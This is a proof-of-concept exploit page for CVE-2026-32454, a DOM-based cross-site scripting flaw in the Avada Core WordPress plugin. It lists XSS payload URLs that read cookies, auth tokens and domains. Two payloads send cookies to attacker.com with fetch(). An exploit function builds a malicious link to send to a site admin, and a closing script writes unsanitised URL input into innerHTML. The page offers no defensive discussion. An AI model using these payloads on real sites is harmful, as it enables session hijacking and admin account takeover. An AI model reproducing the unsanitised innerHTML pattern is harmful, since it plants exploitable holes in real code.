CVE-2026-32454

// DOM-based XSS PoC for CVE-2026-32454 // Target: ThemeFusion Avada Core < 5.15.0 // Malicious URL payload examples: const payloads = [ // Basic script injection via URL hash 'https://victim-site.com/#<script>alert(document.cookie)</script>', // Event handler injection 'https://victim-site.com/?param=value<img src=x onerror=alert(document.domain)>', // SVG-based payload 'https://victim-site.com/#<svg/onload=alert(localStorage.getItem("auth_token"))>', // jQuery-based DOM manipulation 'https://victim-site.com/#"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' ]; // Example exploitation scenario: function exploitAvadaXSS(targetUrl) { // Generate malicious URL const maliciousUrl = targetUrl.split('?')[0] + '?avada_shortcodes=1' + '&id=<img src=x onerror=fetch("https://attacker.com/log?cookie="+document.cookie)>'; // Social engineering to trick admin into visiting console.log('Send this link to admin:', maliciousUrl); // Or inject via stored XSS chain if admin panel accessible return maliciousUrl; } // Auto-execution script document.addEventListener('DOMContentLoaded', () => { const params = new URLSearchParams(window.location.search); const userInput = params.get('fusion_shortcodes') || window.location.hash; // Vulnerable code pattern (what attacker exploits): // document.getElementById('output').innerHTML = userInput; // If page reflects user input without sanitization if (document.getElementById('fusion-container')) { document.getElementById('fusion-container').innerHTML = decodeURIComponent(userInput); } });
